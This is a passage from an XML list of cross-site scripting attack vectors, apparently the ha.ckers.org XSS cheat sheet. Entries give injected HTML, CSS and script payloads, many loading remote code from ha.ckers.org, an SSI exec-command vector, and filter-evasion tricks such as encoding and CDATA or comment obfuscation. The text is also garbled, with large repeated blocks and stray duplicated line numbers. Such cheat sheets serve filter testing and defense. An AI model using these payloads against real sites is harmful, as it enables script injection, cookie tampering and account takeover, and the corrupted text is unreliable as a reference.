Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 267 <label>HTML Element Attacks</label> 268 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 269 </attack> 270 <attack> 271 <name>STYLE w/background-image</name> 272 <code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code> 273 <desc>STYLE tag using background-image.</desc> 274 <label>HTML Element Attacks</label> 275 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 276 </attack> 277 <attack> 278 <name>STYLE w/background</name> 279 <code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code> 280 <desc>STYLE tag using background.</desc> 281 <label>HTML Element Attacks</label> 282 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 283 </attack> 284 <attack> 285 <name>Stylesheet</name> 286 <code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code> 287 <desc>Stylesheet</desc> 288 <label>HTML Element Attacks</label> 289 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 290 </attack> 291 <attack> 292 <name>Remote Stylesheet 1</name> 293 <code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code> 294 <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc> 295 <label>HTML Element Attacks</label> 296 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 297 </attack> 298 <attack> 299 <name>Remote Stylesheet 2</name> 300 <code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code> 301 <desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 302 <label>HTML Element Attacks</label> 303 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 304 </attack> 305 <attack> 306 <name>Remote Stylesheet 3</name> 307 <code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code> 308 <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 309 <label>HTML Element Attacks</label> 310 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 311 </attack> 312 <attack> 313 <name>Remote Stylesheet 4</name> 314 <code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code> 315 <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 316 <label>HTML Element Attacks</label> 317 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 318 </attack> 319 <attack> 320 <name>TABLE</name> 321 <code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code> 322 <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 323 <label>HTML Element Attacks</label> 324 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 325 </attack> 326 <attack> 327 <name>TD</name> 328 <code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code> 329 <desc>TD background.</desc> 330 <label>HTML Element Attacks</label> 331 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 332 </attack> 333 <attack> 334 <name>XML namespace</name> 153 xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code> 154 <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 155 <label>HTML Element Attacks</label> 156 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 157 </attack> 158 <attack> 159 <name>List-style-image</name> 160 <code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code> 161 <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 162 <label>HTML Element Attacks</label> 163 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 164 </attack> 165 <attack> 166 <name>IMG w/VBscript</name> 167 <code><IMG SRC='vbscript:msgbox("XSS")'></code> 168 <desc>VBscript in an image</desc> 169 <label>HTML Element Attacks</label> 170 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 171 </attack> 172 <attack> 173 <name>LAYER</name> 174 <code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code> 175 <desc>Layer (Older Netscape only)</desc> 176 <label>HTML Element Attacks</label> 177 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 178 </attack> 179 <attack> 180 <name>Livescript</name> 181 <code><IMG SRC="livescript:[code]"></code> 182 <desc>Livescript (Older Netscape only)</desc> 183 <label>HTML Element Attacks</label> 184 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 185 </attack> 186 <attack> 187 <name>US-ASCII encoding</name> 188 <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 189 <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 190 <label>HTML Element Attacks</label> 191 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser> 192 </attack> 193 <attack> 194 <name>META</name> 195 <code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code> 196 <desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 197 <label>HTML Element Attacks</label> 198 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 199 </attack> 200 <attack> 201 <name>META w/data:URL</name> 202 <code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code> 203 <desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 204 <label>HTML Element Attacks</label> 205 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 206 </attack> 207 <attack> 208 <name>META w/additional URL parameter</name> 209 <code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code> 210 <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 211 <label>HTML Element Attacks</label> 212 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 213 </attack> 214 <attack> 215 <name>Mocha</name> 216 <code><IMG SRC="mocha:[code]"></code> 217 <desc>Mocha (Older Netscape only)</desc> 218 <label>HTML Element Attacks</label> 219 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 220 </attack> 221 <attack> 222 <name>OBJECT</name> 223 <code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code> 224 <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 225 <label>HTML Element Attacks</label> 226 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 227 </attack> 228 <attack> 229 <name>OBJECT w/Embedded XSS</name> 230 <code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code> 231 <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 232 <label>HTML Element Attacks</label> 233 <browser>Browser support:</browser> 234 </attack> 235 <attack> 236 <name>Embed Flash</name> 237 <code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code> 238 <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 239 <label>HTML Element Attacks</label> 240 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 241 </attack> 242 <attack> 243 <name>OBJECT w/Flash 2</name> 244 <code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code> 245 <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 246 <label>HTML Element Attacks</label> 247 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 248 </attack> 249 <attack> 250 <name>STYLE</name> 251 <code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code> 252 <desc>STYLE tag (Older versions of Netscape only)</desc> 253 <label>HTML Element Attacks</label> 254 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 255 </attack> 256 <attack> 257 <name>STYLE w/Comment</name> 258 <code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code> 259 <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 260 <label>HTML Element Attacks</label> 261 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 262 </attack> 263 <attack> 264 <name>STYLE w/Anonymous HTML</name> 265 <code><XSS STYLE="xss:expression(alert('XSS'))"></code> 266 <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 267 <label>HTML Element Attacks</label> 268 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 269 </attack> 270 <attack> 271 <name>STYLE w/background-image</name> 272 <code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code> 273 <desc>STYLE tag using background-image.</desc> 274 <label>HTML Element Attacks</label> 275 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 276 </attack> 277 <attack> 278 <name>STYLE w/background</name> 279 <code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code> 280 <desc>STYLE tag using background.</desc> 281 <label>HTML Element Attacks</label> 282 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 283 </attack> 284 <attack> 285 <name>Stylesheet</name> 286 <code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code> 287 <desc>Stylesheet</desc> 288 <label>HTML Element Attacks</label> 289 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 290 </attack> 291 <attack> 292 <name>Remote Stylesheet 1</name> 293 <code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code> 294 <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc> 295 <label>HTML Element Attacks</label> 296 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 297 </attack> 298 <attack> 299 <name>Remote Stylesheet 2</name> 300 <code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code> 301 <desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 302 <label>HTML Element Attacks</label> 303 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 304 </attack> 305 <attack> 306 <name>Remote Stylesheet 3</name> 307 <code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code> 308 <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 309 <label>HTML Element Attacks</label> 310 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 311 </attack> 312 <attack> 313 <name>Remote Stylesheet 4</name> 314 <code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code> 315 <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 316 <label>HTML Element Attacks</label> 317 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 318 </attack> 319 <attack> 320 <name>TABLE</name> 321 <code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code> 322 <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 323 <label>HTML Element Attacks</label> 324 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 325 </attack> 326 <attack> 327 <name>TD</name> 328 <code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code> 329 <desc>TD background.</desc> 330 <label>HTML Element Attacks</label> 331 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 332 </attack> 333 <attack> 334 <name>XML namespace</name> 335 335 <code><HTML xmlns:xss> 336 336 <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> 337 337 <xss:xss>XSS</xss:xss> 338 </HTML></code> 339 <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 340 <label>HTML Element Attacks</label> 341 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 342 </attack> 343 <attack> 344 <name>XML data island w/CDATA</name> 338 </HTML></code> 339 <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 340 <label>HTML Element Attacks</label> 341 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 342 </attack> 343 <attack> 344 <name>XML data island w/CDATA</name> 345 345 <code><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> 346 </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code> 347 <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 348 <label>HTML Element Attacks</label> 349 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 350 </attack> 351 <attack> 352 <name>XML data island w/comment</name> 346 </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code> 347 <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 348 <label>HTML Element Attacks</label> 349 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 350 </attack> 351 <attack> 352 <name>XML data island w/comment</name> 353 353 <code><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 354 <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code> 355 <desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 356 <label>HTML Element Attacks</label> 357 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 358 </attack> 359 <attack> 360 <name>XML (locally hosted)</name> 354 <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code> 355 <desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 356 <label>HTML Element Attacks</label> 357 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 358 </attack> 359 <attack> 360 <name>XML (locally hosted)</name> 361 361 <code><XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> 362 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code> 363 <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 364 <label>HTML Element Attacks</label> 365 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 366 </attack> 367 <attack> 368 <name>XML HTML+TIME</name> 362 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code> 363 <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 364 <label>HTML Element Attacks</label> 365 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 366 </attack> 367 <attack> 368 <name>XML HTML+TIME</name> 369 369 <code><HTML><BODY> 370 370 <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> 371 371 <?import namespace="t" implementation="#default#time2"> 372 <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code> 373 <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 374 <label>HTML Element Attacks</label> 375 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 376 </attack> 377 <attack> 378 <name>Commented-out Block</name> 372 <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code> 373 <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 374 <label>HTML Element Attacks</label> 375 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 376 </attack> 377 <attack> 378 <name>Commented-out Block</name> 379 379 <code><!--[if gte IE 4]> 380 380 <SCRIPT>alert('XSS');</SCRIPT> 381 <![endif]--></code> 382 <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc> 383 <label>Other Attacks</label> 384 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 385 </attack> 386 <attack> 387 <name>Cookie Manipulation</name> 388 <code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code> 389 <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 390 <label>Other Attacks</label> 391 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 392 </attack> 393 <attack> 394 <name>Local .htc file</name> 395 <code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code> 396 <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 397 <label>Other Attacks</label> 398 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 399 </attack> 400 <attack> 401 <name>Rename .js to .jpg</name> 402 <code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code> 403 <desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc> 404 <label>Other Attacks</label> 405 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 406 </attack> 407 <attack> 408 <name>SSI</name> 409 <code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code> 410 <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 411 <label>Other Attacks</label> 412 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 413 </attack> 414 <attack> 415 <name>PHP</name> 381 <![endif]--></code> 382 <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc> 383 <label>Other Attacks</label> 384 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 385 </attack> 386 <attack> 387 <name>Cookie Manipulation</name> 388 <code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code> 389 <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 390 <label>Other Attacks</label> 391 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 392 </attack> 393 <attack> 394 <name>Local .htc file</name> 395 <code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code> 396 <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 397 <label>Other Attacks</label> 398 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 399 </attack> 400 